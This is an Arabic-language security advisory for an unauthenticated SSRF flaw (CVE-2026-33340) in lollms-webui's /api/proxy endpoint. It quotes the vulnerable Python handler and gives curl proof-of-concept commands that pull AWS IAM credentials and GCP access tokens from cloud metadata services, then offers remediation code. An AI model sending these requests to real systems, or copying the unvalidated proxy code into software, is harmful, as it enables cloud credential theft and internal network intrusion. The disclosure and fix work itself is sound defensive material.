
CVE-2026-33340: ثغرة SSRF حرجة في lollms-webui /api/proxy - تزوير طلبات تعسفي بدون مصادقة (CVSS 9.1)
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-33340 |
| نوع الثغرة | تزوير الطلبات من جانب الخادم (SSRF) |
| المنتج المتأثر | ParisNeo/lollms-webui (LoLLMs WEBUI) |
| الخطورة | حرجة — CVSS 9.1 |
| ناقل CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-918: تزوير الطلبات من جانب الخادم (SSRF) |
| المكوّن المتأثر | lollms_core/lollms/server/endpoints/lollms_apps.py |
| نقطة النهاية المعرضة | /api/proxy |
| الاستشارة الأمنية | GHSA-mcwr-5469-pxj4 |
| NVD | إدخال NVD |
| SentinelOne | تحليل SentinelOne |
| اكتُشفت بواسطة | Regaan R — ROT مختبر أبحاث أمنية مستقل |
تم تحديد ثغرة حرجة من نوع تزوير الطلبات من جانب الخادم (SSRF) في lollms-webui، وهي الواجهة الإلكترونية لأنظمة اللغات الكبيرة والأنظمة متعددة الوسائط (LoLLMs). تسمح نقطة النهاية @router.post("/api/proxy") للمهاجمين غير المصادَق عليهم بإجبار الخادم على إرسال طلبات GET عشوائية. يمكن استغلال ذلك للوصول إلى الخدمات الداخلية، أو فحص الشبكات المحلية، أو استخراج بيانات وصفية حساسة من السحابة مثل رموز IAM الخاصة بـ AWS/GCP.
ParisNeo/lollms-webui / ParisNeo/lollmslollms_core/lollms/server/endpoints/lollms_apps.py (الأسطر 443-450)/api/proxyتوجد الثغرة لأن دالة proxy في lollms_apps.py لا تنفّذ المصادقة أو أي شكل من أشكال التحقق من صحة عناوين URL/النطاقات. فهي تقبل سلسلة عنوان URL خام من المستخدم وتمررها مباشرة إلى عميل HTTP غير متزامن.
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
try:
async with httpx.AsyncClient() as client:
# No check_access() call — unauthenticated
# No URL validation — arbitrary destinations
response = await client.get(request.url)
return {"content": response.text}
except Exception as e:
raise HTTPException(status_code=500, detail=str(e))
check_access(lollmsElfServer, request.client_id) أو أي برمجية وسيطة للمصادقة، مما يسمح لأي مستخدم غير مصادَق باستدعائها.httpx.AsyncClient().get() دون التحقق من الوجهة مقابل قائمة بيضاء أو حظر نطاقات عناوين IP الخاصة/الداخلية.{"content": response.text}، مما يسمح باستخراج كامل للبيانات.echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888
curl -X POST http://localhost:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://localhost:8888/secret.txt"}'
{"content": "INTERNAL_SECRET_DATA\n"}
جلب الخادم الملف من الخدمة الداخلية وأعاد محتواه إلى المهاجم.
# AWS IMDSv1 — Retrieve IAM credentials
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# GCP — Retrieve access token
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'
| السيناريو | الوصف |
|---|---|
| سرقة بيانات الاعتماد السحابية | يمكن للمهاجمين على المنصات السحابية (AWS/GCP/Azure) الوصول إلى http://169.254.169.254/ لاسترداد البيانات الوصفية للمثيل وبيانات اعتماد IAM ورموز الوصول — مما يؤدي إلى اختراق كامل لحساب السحابة. |
| التنقل داخل الشبكة الداخلية | يمكن للمهاجمين فحص قواعد البيانات الداخلية وواجهات برمجة التطبيقات ولوحات الإدارة وواجهات الإدارة غير المعرّضة للإنترنت العام. |
| الوصول إلى خدمات المضيف المحلي | يمكن للمهاجمين الوصول إلى الخدمات المرتبطة بـ localhost (مثل Redis وElasticsearch وDocker API ووحدات تحكم قواعد البيانات) التي تثق ضمنيًا في حركة المرور المحلية. |
| فحص المنافذ الداخلية | يمكن استخدام ثغرة SSRF لتعداد المنافذ المفتوحة والخدمات قيد التشغيل على الشبكة الداخلية من خلال ملاحظة توقيت الاستجابات ورسائل الخطأ. |
| استخراج البيانات | يمكن قراءة أي بيانات يمكن الوصول إليها عبر HTTP ضمن نطاق شبكة الخادم وإعادتها إلى المهاجم. |
Attacker lollms-webui Server Internal Network
| | |
| POST /api/proxy | |
| {"url": "http://169.254..."} | |
|----------------------------------->| |
| | GET http://169.254.169.254/... |
| |------------------------------------->|
| | |
| | 200 OK (IAM credentials) |
| |<-------------------------------------|
| | |
| {"content": "<credentials>"} | |
|<-----------------------------------| |
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
check_access(lollmsElfServer, request.client_id) # Add this
# ...
from urllib.parse import urlparse
import ipaddress
BLOCKED_RANGES = [
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("169.254.0.0/16"), # Cloud metadata
]
def is_safe_url(url: str) -> bool:
parsed = urlparse(url)
hostname = parsed.hostname
if hostname in ("localhost", ""):
return False
try:
ip = ipaddress.ip_address(hostname)
return not any(ip in network for network in BLOCKED_RANGES)
except ValueError:
# Hostname is a domain — resolve and check
import socket
resolved = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(resolved)
return not any(ip in network for network in BLOCKED_RANGES)
ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]
def is_whitelisted(url: str) -> bool:
parsed = urlparse(url)
return parsed.hostname in ALLOWED_DOMAINS
اعتبارًا من تاريخ النشر، تم بالفعل إصدار نسخة مُصحَّحة من lollms-webui.
| التاريخ | الحدث |
|---|---|
| 2026-03-07 | تم اكتشاف الثغرة والإبلاغ عنها عبر استشارة GitHub الأمنية |
| 2026-03-24 | تم نشر CVE-2026-33340 في NVD |
| 2026-03-25 | تم تحديث إدخال قاعدة بيانات NVD |
| 2026-03-27 | نشرت SentinelOne تحليل الثغرة |